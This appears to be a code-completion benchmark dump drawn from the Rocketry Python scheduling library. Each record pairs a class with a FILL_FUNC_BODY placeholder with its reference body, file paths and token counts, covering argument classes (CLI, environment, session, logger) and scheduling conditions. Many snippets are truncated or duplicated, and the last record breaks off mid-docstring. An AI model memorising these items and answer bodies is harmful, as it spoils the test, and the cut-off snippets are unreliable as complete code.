cli_args = sys.argv
def __init__(self, param, default:Union[NotSet, str]=NOTSET):
self.param = param
self.default = default
def get_value(self, **kwargs) -> Any:
return self._get_arg(self.... | class CliArg(BaseArgument):
"""Argument that has the value of a command line argument"""
cli_args = sys.argv
def __init__(self, param, default:Union[NotSet, str]=NOTSET):
self.param = param
self.default = default
def get_value(self, **kwargs) -> Any:
return self._get_arg(self.... | arg_name = self.param
for i, arg in enumerate(args):
if arg == arg_name:
break
else:
if self.default is NOTSET:
raise KeyError("CLI argument not found")
return self.default
return args[i+1]
| arg_name = self.param
for i, arg in enumerate(args):
if arg == arg_name:
break
else:
if self.default is NOTSET:
raise KeyError("CLI argument not found")
return self.default
return args[i+1]
| 27 | 131 | 85 | 216 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,968 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 118,119 | 115,121 | get_value | Config | 119,121 | 119,121 | class Config(BaseArgument):
"Argument that represents the session config"
def get_value(self, session=Session(), **kwargs):
FILL_FUNC_BODY | class Config(BaseArgument):
"Argument that represents the session config"
def get_value(self, session=Session(), **kwargs):
FILL_FUNC_BODY | return session.config
| return session.config
| 2 | 44 | 9 | 53 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,969 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 284,285 | 277,292 | get_value | EnvArg | 285,292 | 285,292 | class EnvArg(BaseArgument):
"""Argument that has the value of an environment variable"""
def __init__(self, var, default:Union[NotSet, str]=NOTSET):
self.var = var
self.default = default
def get_value(self, **kwargs) -> Any:
FILL_FUNC_BODY | class EnvArg(BaseArgument):
"""Argument that has the value of an environment variable"""
def __init__(self, var, default:Union[NotSet, str]=NOTSET):
self.var = var
self.default = default
def get_value(self, **kwargs) -> Any:
FILL_FUNC_BODY | try:
return os.environ[self.var]
except KeyError:
if self.default is NOTSET:
raise
return self.default
| try:
return os.environ[self.var]
except KeyError:
if self.default is NOTSET:
raise
return self.default
| 12 | 88 | 49 | 137 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,970 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 250,251 | 191,262 | stage | FuncArg | 251,258 | 251,258 | class FuncArg(BaseArgument):
"""An argument which value is defined by the
return value of given function.
Parameters
----------
func : Callable
Function that is executed and passed as value.
*args : tuple
Positional arguments passed to func.
**kwargs : dict
Keyword a... | class FuncArg(BaseArgument):
"""An argument which value is defined by the
return value of given function.
Parameters
----------
func : Callable
Function that is executed and passed as value.
*args : tuple
Positional arguments passed to func.
**kwargs : dict
Keyword a... | session = kwargs['session']
materialize = self.materialize if self.materialize is not None else session.config.param_materialize
if materialize == "pre":
return self.get_value(**kwargs)
return self
| session = kwargs['session']
materialize = self.materialize if self.materialize is not None else session.config.param_materialize
if materialize == "pre":
return self.get_value(**kwargs)
return self
| 21 | 496 | 70 | 566 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,971 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 171,172 | 136,191 | get_value | Return | 172,185 | 172,185 | class Return(BaseArgument):
"""A return argument
Return is an argument which value represents
the return of a task.
Parameters
----------
name : str
Name of the task which return value the argument
represents.
Examples
--------
.. code-block:: python
from... | class Return(BaseArgument):
"""A return argument
Return is an argument which value represents
the return of a task.
Parameters
----------
name : str
Name of the task which return value the argument
represents.
Examples
--------
.. code-block:: python
from... | if session is None:
session = task.session
try:
input_task = session[self.task_name]
except KeyError:
raise ValueError(f"Task {repr(self.task_name)} does not exists. Cannot get return value")
try:
return session.returns[input_task]
... | if session is None:
session = task.session
try:
input_task = session[self.task_name]
except KeyError:
raise ValueError(f"Task {repr(self.task_name)} does not exists. Cannot get return value")
try:
return session.returns[input_task]
... | 41 | 323 | 137 | 460 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,972 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 132,133 | 129,136 | get_value | SchedulerLogger | 133,136 | 133,136 | class SchedulerLogger(BaseArgument):
"Argument that represents the scheduler logger"
def get_value(self, session=Session(default=None), **kwargs) -> Any:
FILL_FUNC_BODY | class SchedulerLogger(BaseArgument):
"Argument that represents the scheduler logger"
def get_value(self, session=Session(default=None), **kwargs) -> Any:
FILL_FUNC_BODY | logger_name = session.config.scheduler_logger_basename if session is not None else 'rocketry.scheduler'
return logging.getLogger(logger_name)
| logger_name = session.config.scheduler_logger_basename if session is not None else 'rocketry.scheduler'
return logging.getLogger(logger_name)
| 12 | 56 | 46 | 102 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,973 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 78,79 | 72,92 | get_value | Session | 79,89 | 79,89 | class Session(BaseArgument):
"An argument that represents the session"
def __init__(self, default:Union[NotSet, str]=NOTSET):
self.default = default
def get_value(self, task=None, session=None, scheduler=None, **kwargs) -> Any:
FILL_FUNC_BODY def __repr__(self):
return 'session'
| class Session(BaseArgument):
"An argument that represents the session"
def __init__(self, default:Union[NotSet, str]=NOTSET):
self.default = default
def get_value(self, task=None, session=None, scheduler=None, **kwargs) -> Any:
FILL_FUNC_BODY def __repr__(self):
return 'session'
| if session is not None:
return session
if scheduler is not None:
return scheduler.session
if task is not None:
return task.session
if self.default is not NOTSET:
return self.default
raise TypeError("Missing session")
| if session is not None:
return session
if scheduler is not None:
return scheduler.session
if task is not None:
return task.session
if self.default is not NOTSET:
return self.default
raise TypeError("Missing session")
| 31 | 103 | 79 | 182 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,974 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 35,36 | 23,38 | get_value | SimpleArg | 36,38 | 36,38 | class SimpleArg(BaseArgument):
"""A simple argument.
Parameters
----------
value : Any
Value of the argument.
"""
def __init__(self, value:Any):
self._value = value
def get_value(self, task=None, **kwargs) -> Any:
FILL_FUNC_BODY | class SimpleArg(BaseArgument):
"""A simple argument.
Parameters
----------
value : Any
Value of the argument.
"""
def __init__(self, value:Any):
self._value = value
def get_value(self, task=None, **kwargs) -> Any:
FILL_FUNC_BODY | return self._value
| return self._value
| 2 | 90 | 9 | 99 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,975 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 99,100 | 92,115 | get_value | Task | 100,112 | 100,112 | class Task(BaseArgument):
"An argument that represents a task"
def __init__(self, name=None, default:Union[NotSet, str]=NOTSET):
self.name = name
self.default = default
def get_value(self, task=None, session=Session(default=None), **kwargs) -> Any:
FILL_FUNC_BODY def __repr__(self):
... | class Task(BaseArgument):
"An argument that represents a task"
def __init__(self, name=None, default:Union[NotSet, str]=NOTSET):
self.name = name
self.default = default
def get_value(self, task=None, session=Session(default=None), **kwargs) -> Any:
FILL_FUNC_BODY def __repr__(self):
... | if self.name is None:
# Assuming "task" is actual task
is_task_cls = isinstance(task, BaseTask)
if is_task_cls:
return task
elif self.default is not NOTSET:
return self.default
raise TypeError(f"Expected {BaseTask}, got ... | if self.name is None:
# Assuming "task" is actual task
is_task_cls = isinstance(task, BaseTask)
if is_task_cls:
return task
elif self.default is not NOTSET:
return self.default
raise TypeError(f"Expected {BaseTask}, got ... | 39 | 132 | 122 | 254 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,976 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 124,125 | 121,129 | get_value | TaskLogger | 125,129 | 125,129 | class TaskLogger(BaseArgument):
"Argument that represents the task logger (adapter)"
def get_value(self, session=Session(default=None), task=Task(default=None), **kwargs) -> Any:
FILL_FUNC_BODY | class TaskLogger(BaseArgument):
"Argument that represents the task logger (adapter)"
def get_value(self, session=Session(default=None), task=Task(default=None), **kwargs) -> Any:
FILL_FUNC_BODY | logger_name = session.config.task_logger_basename if session is not None else 'rocketry.task'
task_logger = logging.getLogger(logger_name)
return TaskAdapter(task_logger, task=task)
| logger_name = session.config.task_logger_basename if session is not None else 'rocketry.task'
task_logger = logging.getLogger(logger_name)
return TaskAdapter(task_logger, task=task)
| 16 | 64 | 62 | 126 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,977 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 264,265 | 262,277 | get_value | TerminationFlag | 265,271 | 265,271 | class TerminationFlag(BaseArgument):
def get_value(self, task=None, session=None, terminate_event=None, **kwargs) -> Any:
FILL_FUNC_BODY def __repr__(self):
return 'TerminationFlag()'
def __str__(self):
return 'termination flag'
| class TerminationFlag(BaseArgument):
def get_value(self, task=None, session=None, terminate_event=None, **kwargs) -> Any:
FILL_FUNC_BODY def __repr__(self):
return 'TerminationFlag()'
def __str__(self):
return 'termination flag'
| execution = task.execution
if execution in ("process", "main"):
warnings.warn(f"Termination flag passed to non-threaded task. Task with 'execution_type={execution}' cannot use termination flag.")
return threading.Event()
return terminate_event
| execution = task.execution
if execution in ("process", "main"):
warnings.warn(f"Termination flag passed to non-threaded task. Task with 'execution_type={execution}' cannot use termination flag.")
return threading.Event()
return terminate_event
| 25 | 87 | 75 | 162 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,978 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/secret.py | 16,17 | 4,33 | get_value | Private | 17,22 | 17,22 | class Private(BaseArgument):
"""Private argument not meant to be shown outside.
The value of the argument is hidden from else except
tasks.
"""
string_hidden = "*****"
def __init__(self, value):
self.__value = value
def get_value(self, task=None, **kwargs):
FILL_FUNC_BODY def ... | class Private(BaseArgument):
"""Private argument not meant to be shown outside.
The value of the argument is hidden from else except
tasks.
"""
string_hidden = "*****"
def __init__(self, value):
self.__value = value
def get_value(self, task=None, **kwargs):
FILL_FUNC_BODY def ... | if task is None:
return self.string_hidden
# Called for task --> must pass the actual value
return self.__value
| if task is None:
return self.string_hidden
# Called for task --> must pass the actual value
return self.__value
| 18 | 193 | 41 | 234 |
from rocketry.core.parameters import BaseArgument
class Private(BaseArgument):
"""Private argument not meant to be shown outside.
The value of the argument is hidden from else except
tasks.
"""
string_hidden = "*****"
def __init__(self, value):
self.__value = value
def get_valu... |
from rocketry.core.parameters import BaseArgument
class Private(BaseArgument):
"""Private argument not meant to be shown outside.
The value of the argument is hidden from else except
tasks.
"""
string_hidden = "*****"
def __init__(self, value):
self.__value = value
def get_valu... |
29,980 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/conditions/api.py | 133,134 | 125,137 | get_cond | RetryWrapper | 135,137 | 134,137 | class RetryWrapper(BaseCondition):
def __call__(self, n:int):
return Retry(n)
def observe(self, **kwargs):
return self.get_cond().observe(**kwargs)
def get_cond(self):
FILL_FUNC_BODY | class RetryWrapper(BaseCondition):
def __call__(self, n:int):
return Retry(n)
def observe(self, **kwargs):
return self.get_cond().observe(**kwargs)
def get_cond(self):
"Get condition the wrapper represents"
FILL_FUNC_BODY | return Retry(-1)
| "Get condition the wrapper represents"
return Retry(-1)
| 2 | 85 | 11 | 96 | import warnings
from rocketry.conditions import (
DependFailure, DependFinish, DependSuccess, TaskFailed,
TaskFinished, TaskRunnable,
TaskStarted, TaskSucceeded,
Retry,
SchedulerStarted, SchedulerCycles,
)
from rocketry.conditions.func import FuncCond
from rocketry.core import (
BaseCondition
)
... | import warnings
from rocketry.conditions import (
DependFailure, DependFinish, DependSuccess, TaskFailed,
TaskFinished, TaskRunnable,
TaskStarted, TaskSucceeded,
Retry,
SchedulerStarted, SchedulerCycles,
)
from rocketry.conditions.func import FuncCond
from rocketry.core import (
BaseCondition
)
... |
29,981 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/conditions/api.py | 173,174 | 137,198 | get_cond | RunningWrapper | 175,177 | 174,177 | class RunningWrapper(BaseCondition):
def __init__(self, task=None):
self.task = task
def observe(self, **kwargs):
return self.get_cond().observe(**kwargs)
def __call__(self, task=None, more_than=None, less_than=None):
if more_than is not None or less_than is not None or task is No... | class RunningWrapper(BaseCondition):
def __init__(self, task=None):
self.task = task
def observe(self, **kwargs):
return self.get_cond().observe(**kwargs)
def __call__(self, task=None, more_than=None, less_than=None):
if more_than is not None or less_than is not None or task is No... | return TaskRunning(task=self.task)
| "Get condition the wrapper represents"
return TaskRunning(task=self.task)
| 2 | 615 | 15 | 630 | import warnings
from rocketry.conditions import (
DependFailure, DependFinish, DependSuccess, TaskFailed,
TaskFinished, TaskRunnable,
TaskStarted, TaskSucceeded,
Retry,
SchedulerStarted, SchedulerCycles,
)
from rocketry.conditions.func import FuncCond
from rocketry.core import (
BaseCondition
)
... | import warnings
from rocketry.conditions import (
DependFailure, DependFinish, DependSuccess, TaskFailed,
TaskFinished, TaskRunnable,
TaskStarted, TaskSucceeded,
Retry,
SchedulerStarted, SchedulerCycles,
)
from rocketry.conditions.func import FuncCond
from rocketry.core import (
BaseCondition
)
... |
29,982 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/conditions/api.py | 98,100 | 81,125 | this_hour | TimeActionWrapper | 100,102 | 100,102 | class TimeActionWrapper(BaseCondition):
def __init__(self, cls_cond, task=None):
self.cls_cond = cls_cond
self.task = task
def observe(self, **kwargs):
cond = self.get_cond()
return cond.observe(**kwargs)
def __call__(self, task):
return TimeActionWrapper(self.cls_... | class TimeActionWrapper(BaseCondition):
def __init__(self, cls_cond, task=None):
self.cls_cond = cls_cond
self.task = task
def observe(self, **kwargs):
cond = self.get_cond()
return cond.observe(**kwargs)
def __call__(self, task):
return TimeActionWrapper(self.cls_... | return self._get_wrapper(TimeOfHour)
| return self._get_wrapper(TimeOfHour)
| 2 | 341 | 17 | 358 | import warnings
from rocketry.conditions import (
DependFailure, DependFinish, DependSuccess, TaskFailed,
TaskFinished, TaskRunnable,
TaskStarted, TaskSucceeded,
Retry,
SchedulerStarted, SchedulerCycles,
)
from rocketry.conditions.func import FuncCond
from rocketry.core import (
BaseCondition
)
... | import warnings
from rocketry.conditions import (
DependFailure, DependFinish, DependSuccess, TaskFailed,
TaskFinished, TaskRunnable,
TaskStarted, TaskSucceeded,
Retry,
SchedulerStarted, SchedulerCycles,
)
from rocketry.conditions.func import FuncCond
from rocketry.core import (
BaseCondition
)
... |
29,983 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/conditions/api.py | 38,39 | 31,81 | between | TimeCondWrapper | 39,42 | 39,42 | class TimeCondWrapper(BaseCondition):
def __init__(self, cls_cond, cls_period, **kwargs):
self._cls_cond = cls_cond
self._cls_period = cls_period
self._cond_kwargs = kwargs
def between(self, start, end):
FILL_FUNC_BODY def before(self, end):
period = self._cls_period(None, e... | class TimeCondWrapper(BaseCondition):
def __init__(self, cls_cond, cls_period, **kwargs):
self._cls_cond = cls_cond
self._cls_period = cls_period
self._cond_kwargs = kwargs
def between(self, start, end):
FILL_FUNC_BODY def before(self, end):
period = self._cls_period(None, e... | period = self._cls_period(start, end)
return self._get_cond(period)
| period = self._cls_period(start, end)
return self._get_cond(period)
| 6 | 421 | 29 | 450 | import warnings
from rocketry.conditions import (
DependFailure, DependFinish, DependSuccess, TaskFailed,
TaskFinished, TaskRunnable,
TaskStarted, TaskSucceeded,
Retry,
SchedulerStarted, SchedulerCycles,
)
from rocketry.conditions.func import FuncCond
from rocketry.core import (
BaseCondition
)
... | import warnings
from rocketry.conditions import (
DependFailure, DependFinish, DependSuccess, TaskFailed,
TaskFinished, TaskRunnable,
TaskStarted, TaskSucceeded,
Retry,
SchedulerStarted, SchedulerCycles,
)
from rocketry.conditions.func import FuncCond
from rocketry.core import (
BaseCondition
)
... |
29,984 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/conditions/func.py | 79,80 | 7,122 | _recreate | FuncCond | 81,86 | 80,86 | class FuncCond(BaseCondition):
"""Condition from a function.
This class is to create conditions directly from
functions.
Parameters
----------
func : callable
Function that should return True or False
depending on the state of the condition.
Can also be ... | class FuncCond(BaseCondition):
"""Condition from a function.
This class is to create conditions directly from
functions.
Parameters
----------
func : callable
Function that should return True or False
depending on the state of the condition.
Can also be ... | new_self = copy.copy(self)
new_self.args = args
new_self.kwargs = kwargs
return new_self
| "Recreate the condition using args and kwargs"
new_self = copy.copy(self)
new_self.args = args
new_self.kwargs = kwargs
return new_self
| 11 | 1,059 | 44 | 1,103 |
import copy
from typing import Callable, List, Optional, Pattern, Union
from rocketry.core.parameters.parameters import Parameters
from rocketry.core.condition import BaseCondition
class FuncCond(BaseCondition):
"""Condition from a function.
This class is to create conditions directly from
functions.
... |
import copy
from typing import Callable, List, Optional, Pattern, Union
from rocketry.core.parameters.parameters import Parameters
from rocketry.core.condition import BaseCondition
class FuncCond(BaseCondition):
"""Condition from a function.
This class is to create conditions directly from
functions.
... |
29,985 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/conditions/parameter.py | 39,40 | 8,42 | get_state | IsEnv | 40,42 | 40,42 | class IsEnv(BaseCondition):
"""Condition checks whether session parameter `env`
has the given value.
Parameters
----------
env : str
The environment to be set in order to the condition
to be ``True``.
Examples
--------
>>> from rocketry.conditions import IsEnv
>>> i... | class IsEnv(BaseCondition):
"""Condition checks whether session parameter `env`
has the given value.
Parameters
----------
env : str
The environment to be set in order to the condition
to be ``True``.
Examples
--------
>>> from rocketry.conditions import IsEnv
>>> i... | return session.parameters.get("env", None) == self.env
| return session.parameters.get("env", None) == self.env
| 5 | 238 | 20 | 258 |
import re
from typing import Union
from rocketry.core.condition import BaseCondition
from rocketry.args import Session
class IsEnv(BaseCondition):
"""Condition checks whether session parameter `env`
has the given value.
Parameters
----------
env : str
The environment to be set in order t... |
import re
from typing import Union
from rocketry.core.condition import BaseCondition
from rocketry.args import Session
class IsEnv(BaseCondition):
"""Condition checks whether session parameter `env`
has the given value.
Parameters
----------
env : str
The environment to be set in order t... |
29,986 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/conditions/parameter.py | 102,104 | 42,105 | _from_key_value | ParamExists | 104,105 | 104,105 | class ParamExists(BaseCondition):
"""Condition to check whether parameter(s) (and their values)
exists from ``session.parameters``.
Parameters
----------
*args : iterable of strings
Names of the parameters expected to be
found from the session (in order the
condition to be T... | class ParamExists(BaseCondition):
"""Condition to check whether parameter(s) (and their values)
exists from ``session.parameters``.
Parameters
----------
*args : iterable of strings
Names of the parameters expected to be
found from the session (in order the
condition to be T... | return cls(**{key: value})
| return cls(**{key: value})
| 3 | 536 | 13 | 549 |
import re
from typing import Union
from rocketry.core.condition import BaseCondition
from rocketry.args import Session
class IsEnv(BaseCondition):
"""Condition checks whether session parameter `env`
has the given value.
Parameters
----------
env : str
The environment to be set in order t... |
import re
from typing import Union
from rocketry.core.condition import BaseCondition
from rocketry.args import Session
class IsEnv(BaseCondition):
"""Condition checks whether session parameter `env`
has the given value.
Parameters
----------
env : str
The environment to be set in order t... |
29,987 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/conditions/scheduler.py | 31,33 | 6,36 | from_magic | SchedulerCycles | 33,36 | 33,36 | class SchedulerCycles(BaseComparable):
"""Condition for whether the scheduler have had
more/less/equal given amount of cycles of executing
tasks.
"""
def get_measurement(self, session=Session()) -> int:
n_cycles = session.scheduler.n_cycles
return n_cycles
def __str__(self):
... | class SchedulerCycles(BaseComparable):
"""Condition for whether the scheduler have had
more/less/equal given amount of cycles of executing
tasks.
"""
def get_measurement(self, session=Session()) -> int:
n_cycles = session.scheduler.n_cycles
return n_cycles
def __str__(self):
... | kwargs = {key: int(value) for key, value in kwargs.items()}
return super(SchedulerCycles, cls).from_magic(**kwargs)
| kwargs = {key: int(value) for key, value in kwargs.items()}
return super(SchedulerCycles, cls).from_magic(**kwargs)
| 12 | 270 | 51 | 321 | from rocketry.args.builtin import Session
from rocketry.core.condition.base import BaseComparable, BaseCondition
from rocketry.core.time.utils import get_period_span
class SchedulerCycles(BaseComparable):
"""Condition for whether the scheduler have had
more/less/equal given amount of cycles of executing
t... | from rocketry.args.builtin import Session
from rocketry.core.condition.base import BaseComparable, BaseCondition
from rocketry.core.time.utils import get_period_span
class SchedulerCycles(BaseComparable):
"""Condition for whether the scheduler have had
more/less/equal given amount of cycles of executing
t... |
29,988 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/conditions/scheduler.py | 57,58 | 36,66 | get_state | SchedulerStarted | 58,62 | 58,62 | class SchedulerStarted(BaseCondition):
"""Condition for whether the scheduler had started
in given period.
Examples
--------
**Parsing example:**
>>> from rocketry.parse import parse_condition
>>> parse_condition("scheduler started 10 minutes ago")
SchedulerStarted(period=TimeDelta('1... | class SchedulerStarted(BaseCondition):
"""Condition for whether the scheduler had started
in given period.
Examples
--------
**Parsing example:**
>>> from rocketry.parse import parse_condition
>>> parse_condition("scheduler started 10 minutes ago")
SchedulerStarted(period=TimeDelta('1... | start, end = get_period_span(self.period, session=session)
dt = session.scheduler.startup_time
return start <= dt <= end
| start, end = get_period_span(self.period, session=session)
dt = session.scheduler.startup_time
return start <= dt <= end
| 14 | 224 | 46 | 270 | from rocketry.args.builtin import Session
from rocketry.core.condition.base import BaseComparable, BaseCondition
from rocketry.core.time.utils import get_period_span
class SchedulerCycles(BaseComparable):
"""Condition for whether the scheduler have had
more/less/equal given amount of cycles of executing
t... | from rocketry.args.builtin import Session
from rocketry.core.condition.base import BaseComparable, BaseCondition
from rocketry.core.time.utils import get_period_span
class SchedulerCycles(BaseComparable):
"""Condition for whether the scheduler have had
more/less/equal given amount of cycles of executing
t... |
29,989 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/conditions/task/task.py | 463,464 | 457,484 | get_state | Retry | 464,484 | 464,484 | class Retry(BaseCondition):
"""Condition for retrying failed attempts"""
def __init__(self, n: Optional[int] = 1):
self.n = int(n) if n is not None else -1
super().__init__()
def get_state(self, task=Task(default=None), session=Session()):
FILL_FUNC_BODY | class Retry(BaseCondition):
"""Condition for retrying failed attempts"""
def __init__(self, n: Optional[int] = 1):
self.n = int(n) if n is not None else -1
super().__init__()
def get_state(self, task=Task(default=None), session=Session()):
FILL_FUNC_BODY | if self.n == 0:
return False
if task.get_status() != "fail":
# Previously did not fail, no need to retry
return False
if self.n == -1:
# Infinite retries
return True
last_non_fail = task.logger.filter_by(
action=in_... | if self.n == 0:
return False
if task.get_status() != "fail":
# Previously did not fail, no need to retry
return False
if self.n == -1:
# Infinite retries
return True
last_non_fail = task.logger.filter_by(
action=in_... | 57 | 94 | 219 | 313 | from typing import Optional
import datetime
from redbird.oper import in_, greater_equal, between
from rocketry.core.condition import BaseCondition, BaseComparable
from rocketry.log.utils import get_field_value
from rocketry.pybox.time import to_timestamp
from rocketry.time.construct import get_before, get_between, ge... | from typing import Optional
import datetime
from redbird.oper import in_, greater_equal, between
from rocketry.core.condition import BaseCondition, BaseComparable
from rocketry.log.utils import get_field_value
from rocketry.pybox.time import to_timestamp
from rocketry.time.construct import get_before, get_between, ge... |
29,990 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/conditions/task/task.py | 285,286 | 255,334 | get_state | TaskExecutable | 286,313 | 286,313 | class TaskExecutable(BaseCondition):
"""Condition for checking whether a given
task has not finished (for given period).
